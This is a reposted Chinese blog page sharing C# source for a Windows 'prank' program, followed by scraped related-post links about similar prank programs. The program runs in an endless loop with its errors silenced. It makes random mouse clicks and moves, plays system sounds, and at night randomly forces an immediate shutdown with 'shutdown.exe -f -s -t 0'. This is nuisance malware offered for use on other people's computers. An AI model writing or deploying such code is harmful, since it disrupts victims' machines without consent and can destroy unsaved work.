本机慎用......

using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

[DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while(true) { if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if(tick < 1800)
                        continue;
                    if(tick % 643 == 0)
                        DoMouse();
                    if(tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while(c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch(rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch(rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            Process.Start("shutdown.exe", "-f -s -t 0");
        }
    }
}

转载于:https://www.cnblogs.com/gaohades/archive/2008/11/26/1341548.html

整人小程序【转自CSDN】相关推荐

  1. c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板

    主程序界面: ============================================================================= 程序介绍: 如果对方执行了主程 ...

  2. c语言随机抽取小程序_C语言整人小程序,慎用,谨记!

    整人啦!!! 哈喽~ 今天有位朋友留言问有没有比较有趣的C语言小程序? 想了想,给你写几个整人的小程序吧,有趣又好玩... 这里一共给你们准备了三个,分别起名为关机.死机.抖动,都给出了代码,整人指数 ...

  3. python整人小程序_一个可以套路别人的python小程序实例代码

    先简要介绍一下程序. 程序是使用pycharm工具,python语言所写.程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包. 咳咳,使用 ...

  4. #窗体整人小程序_Excel VBA和文件夹-1.8通过对话框灵活选定文件的小技巧

    Excel VBA和文件夹-1.8通过对话框灵活选定文件的小技巧 前景提要 在之前,我们学习了如何通过对话框的形式来打开文件的方法,这种方法的好处就是两个字:灵活,我们不用在代码中强制指定必须在某个文 ...

  5. 弹窗php整人_[整人小程序] 超级信息框(无限弹窗++)

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 '貌似刚才缩进空格被吞了,再发一次 Set FSO = createobject("scripting.filesystemobject&quo ...

  6. 一键打造全栈式小程序开发者!

    受访者 | 杨航 采访者 | 伍杏玲 出品 | CSDN(ID:CSDNnews) 自 2017 年 1 月 9 日,微信小程序诞生以来,各大巨头公司纷纷布局小程序,小程序进入快速发展期: 据即速应用 ...

  7. 开发小程序遇协同、平台兼容难题,该如何破局?

    受访者 | 薛端阳 采访者 | 伍杏玲 出品 | CSDN(ID:CSDNnews) 2017 年 1 月 9 日,微信小程序诞生,自此我们从移动互联网时代踏入小程序时代.目前各大巨头公司正在紧锣密鼓 ...

  8. 知识库微信小程序开发

    11月,CSDN知识库研发负责人尚林凯在厦门进行了微信小程序开发的分享.在1个小时的分享时间里,谈到小程序开发给技术人带来的影响,如何去开发小程序,以及在开发过程中踩过的那些坑. 什么是小程序 小程序 ...

  9. 校园超市购物小程序 计算机毕业设计

    一.技术介绍 1.小程序用户端:微信开发者语言js+json+wxml+wxss 2.管理员后端:前端html+css+js+后端php开发语言/3.数据库:mysql 二.功能架构图 超市购物小程序 ...

  10. 微信小程序实现界面之间的跳转

    说到微信小程序之间的跳转主要归为三类: 1,跳转到指定页面,保存当前页面wx.navigateTo 2,跳转到指定页面,关闭当前页面 wx.redirectTo 3,返回之前页面,跳转之前的页面wx. ...

最新文章

  1. mysql 监控工具
  2. java indexof int_Java Stack indexOf(Object, int)用法及代码示例
  3. ecu根据什么信号对点火提前角_关于ECU的那点事
  4. python小课笔记_python第三课笔记
  5. 计算机图形与游戏技术,宾夕法尼亚大学计算机图形与游戏技术研究生Offer及录取要求...
  6. 【爬虫系列之一】爬虫开发环境的搭建
  7. java杰森_java - 杰森格式错误,当他已经得到一个数组时询问 - 堆栈内存溢出
  8. 互联网公司的架构设计要怎么落地?| 技术头条
  9. ORACLE 建库过程总结
  10. priority_queue 优先队列 hdu裸题。
  11. 在钢筋混泥土的城市,打铁还需身体硬
  12. avx指令+openmp多线程实现一个基本算法作业 c++
  13. SM6125平台扩容camera id的修改方法
  14. sql跟oracle的区别吗,扫盲文:oracle跟sql server的十大区别
  15. matlab sliced variable
  16. 数显之家快讯:【SHIO世硕心语】2021,新的一年写给自己的5句话!
  17. 【面试】Raft算法详解
  18. python-opencv 读取摄像头并保存为.mp4视频 及 VideoCapture()的使用
  19. STM32单片机(1) 总记 学习资料+参考手册+LED灯
  20. 【Geoserver】GeoServer安装GDAL扩展的方法总结

热门文章

  1. CT影像数据(nrrd文件和dicm文件)的读取和预处理
  2. AD17 保存PCB文件时提示失败
  3. 家长进课堂 计算机ppt,家长进课堂之中华传统美德 成品ppt 三井小学一10班出品.ppt...
  4. C#,数独游戏(Sudoku Game)的算法与源代码
  5. 计算机报名中的照片审核总不过,软考报名时,照片审核难通过怎么办?
  6. 医院的HIS系统简介
  7. 【吴恩达深度学习】Residual Networks(PyTorch)
  8. MATLAB R2016a 简单介绍
  9. 局部路径规划中的人工势场法
  10. VMware中ip地址消失问题